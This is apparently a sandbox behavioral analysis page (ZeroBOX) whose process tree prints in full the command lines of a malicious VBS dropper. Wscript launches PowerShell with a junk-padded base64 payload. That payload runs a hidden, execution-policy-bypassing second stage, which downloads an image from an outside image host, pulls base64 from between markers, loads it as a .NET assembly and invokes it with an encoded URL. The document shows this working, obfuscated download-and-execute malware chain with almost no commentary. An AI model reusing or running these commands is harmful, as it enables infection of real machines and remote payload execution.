| ZeroBOX

Behavioral Analysis

Process tree

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\ngown.vbs

    2556
    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('QfxHzcLOqm','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2704
      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('KQkim'+'ageUrl = Zlihttps://uploaddeimagens.com.br/images/004/654/536/original/new_image.jpg?1698957750Zli;KQkwebClient'+' = New-Object System.Net.WebClient;KQkimageBytes = KQkwebClient.DownloadData(KQkimageUrl);K'+'QkimageText = [System.Text.Encoding]::UTF8.G'+'etString(KQkimageBytes);KQkstartFlag = Zli<<BASE64_START>>Zli;KQkendFl'+'ag = Zl'+'i<<B'+'A'+'SE64_END>>Zli;KQkstartIndex = KQkimageText.IndexOf(KQkstartFlag);KQkendIndex = KQkimageText.I'+'ndexOf(K'+'QkendFlag);KQks'+'tartIndex -g'+'e 0 -and KQkendIndex'+' '+'-gt KQkstart'+'Index;KQksta'+'rtIndex += KQksta'+'rtFlag.Length;KQkbase64'+'Length = KQkendIndex - KQkstartIndex;KQkbase64Command = KQkimageText.Substring'+'(KQ'+'ks'+'tartIndex, KQkbase64Length);KQkcommandBytes = [System.Convert]::FromBase'+'64String(KQkbase64'+'Command);KQkloadedAssembly = [Syste'+'m.Reflecti'+'on.Assembly]::Load(KQkcommandBytes);KQktype = KQkloa'+'dedAssembly.GetType(ZliFiber.HomeZli);KQkmethod = KQktype.GetMe'+'th'+'od(ZliVAIZli).Invo'+'ke(KQknull, [object[]] (ZlidHh0LnNtaG9nbi95dGlzYXYvcG90LnlvY2l0aXVxZS8vOnB'+'0dGg=Zli , ZlidfdfdZli , ZlidfdfZli , ZlidfdfZli '+', ZlidadsaZli , ZlideZli , ZlicuZli))').rEplAce(([Char]75+[Char]81+[Char]107),'$').rEplAce('Zli',[strinG][Char]39) |. ((VariAble '*mDr*').NAmE[3,11,2]-jOiN'')"

        2804

Process contents

No process loaded Click on a process in the tree above to load its data.